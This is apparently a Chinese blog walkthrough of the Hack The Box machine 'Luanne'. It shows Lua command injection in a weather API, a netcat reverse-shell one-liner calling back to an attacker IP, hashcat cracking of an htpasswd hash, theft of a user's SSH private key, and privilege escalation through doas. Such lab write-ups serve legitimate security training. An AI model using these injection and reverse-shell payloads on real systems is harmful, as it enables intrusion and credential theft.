• 【Hack The Box】Linux练习-- Luanne


    HTB 学习笔记

    Hack The Box】Linux练习-- Luanne


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年11月24日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    有用的信息如下

    22/tcp   open  ssh     OpenSSH 8.0 
    80/tcp   open  http    nginx 1.19.0
    robots.txt
    9001/tcp open  http    Medusa httpd 1.12 (Supervisor 
    
    • 1
    • 2
    • 3
    • 4

    80

    首先有一个登陆框,我们现在啥都没有,先放
    爆破一下目录
    得知以下内容
    TCP 80 有一个 robots.txt文件,他提示有一个 /weather

    在这里插入图片描述

    9001

    Medusa httpd 1.12 (Supervisor process manager)
    Medusa是Supervisor的托管服务器
    http://supervisord.org/configuration.html
    在这里查看supervisord的一些配置信息
    得到信息如下:
    Supervisor 配置文件通常命名为 supervisord.conf
    在这里插入图片描述找打了默认密码

    在这里插入图片描述登陆之后发现也没啥东西
    但是这个页面不会有什么问题
    我将点击三个name,查看,其中,一大串字符引起了我的注意

    在这里插入图片描述

    httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www 
    
    • 1

    我只能知道正在处理lua脚本,lua处理的好像就是之前的那个80页面

    但是这里我就不太会用了,我将接着枚举80页面,看看robots.txt提刀的页面能不能干点事情

    80枚举

    feroxbuster -u http://10.10.10.218/weather -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt 
    
    • 1

    我将针对/weath页面进行更深入的枚举

    枚举出了

    http://10.10.10.218/weather/forecast
    
    • 1

    在这里插入图片描述
    根据页面提示,我输入url如下
    http://10.129.18.130/weather/forecast?city=list
    在这里插入图片描述

    lua注入

    这个时候想起之前那个lua脚本也叫weath,我想这些数据就是通过lua来搞的

    请求在 /weather/forecast被传递给 Lua 脚本,结果以 JSON 形式返回

    我将对lua进行注入

    首先先来个单引号
    http://10.10.10.218/weather/forecast?city=’
    报错了,说明存在注入
    在这里插入图片描述然后按照通用的lua注入方法,用括号
    curl -s “http://10.129.18.130/weather/forecast?city=')±-”

    在这里插入图片描述
    可以看到已经不报错了,而是说没有这个城市
    然后执行命令

    curl -s “http://10.129.18.130/weather/forecast?city=')+os.execute(‘id’)±-”
    在这里插入图片描述
    因为这个盒子是 BSD,所以一些典型的 Linux 反向 shell 将无法工作
    至于什么是bsd不重要,这是一个已经停产的操作系统

    -G将强制执行 GET 命令,并使用来自 --data-urlencode在 url 而不是在正文中。

    curl -G --data-urlencode "city=') os.execute('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 8888 >/tmp/f') --" 'http://10.129.18.130/weather/forecast' -s
    
    • 1

    深入

    在这里插入图片描述
    同样的passwd敏感性

    webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
    
    • 1

    /home有用户r.michaels

    hashcat -m 500 htpasswd --user /usr/share/wordlists/rockyou.txt
    
    • 1

    凭据如下

    webapi_user/iamthebest

    但是他也不是用户,所以我需要找一个地方去使用这个凭据,我想到了9001以及80页面都可以登陆,但是80还没进去过,所以我将优先去80

    登陆成功
    在这里插入图片描述
    在这里插入图片描述
    啥也没有了

    当前用户->r.michaels

    ps auxww | grep michaels
    找一下michaels所运行的进程

    r.michaels   556  0.0  0.0  36332  1984 ?     Is    2:18AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www
    
    • 1

    它看起来非常类似于 httpd上面的过程,但是这个运行的是不同的 weather.lua脚本,侦听 TCP 3001(而不是 3000),并服务于 /home/r.michaels/devel/www

    同样的测试一下

    curl -s -G http://127.0.0.1:3001/weather/forecast --data-urlencode "city=') os.execute('id') --"
    
    • 1

    但是不行

    因为他服务于/home/r.michaels/devel/www
    所以我要访问一下他的首页
    也就是
    要从本地访问,因为3001端口外部没有开放,所以这是一个本地服务

     curl -s http://127.0.0.1:3001/~r.michaels/
    
    • 1

    在这里插入图片描述
    说我们没有凭据

    curl -s http://127.0.0.1:3001/~r.michaels/ -u webapi_user:iamthebest
    
    • 1
    <!DOCTYPE html>
    <html><head><meta charset="utf-8"/>
    <style type="text/css">
    table {
            border-top: 1px solid black;
            border-bottom: 1px solid black;
    }
    th { background: aquamarine; }
    tr:nth-child(even) { background: lavender; }
    </style>
    <title>Index of ~r.michaels/</title></head>
    <body><h1>Index of ~r.michaels/</h1>
    <table cols=3>
    <thead>
    <tr><th>Name<th>Last modified<th align=right>Size
    <tbody>
    <tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
    <tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
    </table>
    </body></html>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    发现在这个目录下有一个id_rsa
    curl -s http://127.0.0.1:3001/~r.michaels/id_rsa -u webapi_user:iamthebest
    请求私钥
    复制粘贴到本地之后,赋予600权限
    而后登陆
    在这里插入图片描述

    find / -name doas.conf 2>/dev/null
    
    • 1

    BSD 上的等价物是 doas. 配置文件有点直接?
    在这里插入图片描述
    doas sh

    但是需要密码

    如果我能找到密码我将这么执行

    继续寻找

    我在用户的home下寻找,这也是正常的路径

    enc文件与gpg密钥环

    在这里插入图片描述发现一个enc加密的压缩包,这种格式需要特定的密钥
    通常是gpg密钥

    ls -l /home/r.michaels/.gnupg/
    我注意到 .gnupgr.michael 主目录中的目录,它包含密钥环:
    在这里插入图片描述在gpg密钥的目录下

    netpgp --decrypt --output=/tmp/rong.tar.gz backups/devel_backup-2020-09-16.tar.gz.enc
    
    cd /tmp
    gunzip rong.zip
    tar zxvf rong.tar
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述
    被清理了,要加快一点动作

    最后我们发现,存在一个解压出来的文件

    luanne$ cat devel-2020-09-16/www/.htpasswd
    webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
    
    • 1
    • 2

    得到密码
    littlebear

    doas sh

    在这里插入图片描述

  • 相关阅读:
    kafka安装部署详解
    DHT11数字温湿度传感器(三引脚)与cc2530芯片开发板
    Redis缓存穿透和缓存击穿和缓存雪崩
    《模型结构图绘制 -- Axure 软件使用教程》学习笔记
    Java面向对象
    HTTP1.0和HTTP2.0的区别
    Linux内核设计与实现 第八章 下半部和推后执行的工作
    项目实战:Qt监测操作系统物理网卡通断v1.1.0(支持windows、linux、国产麒麟系统)
    单元测试,集成测试,系统测试的区别是什么?
    Python基础语法规则和Java不同的地方
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127995322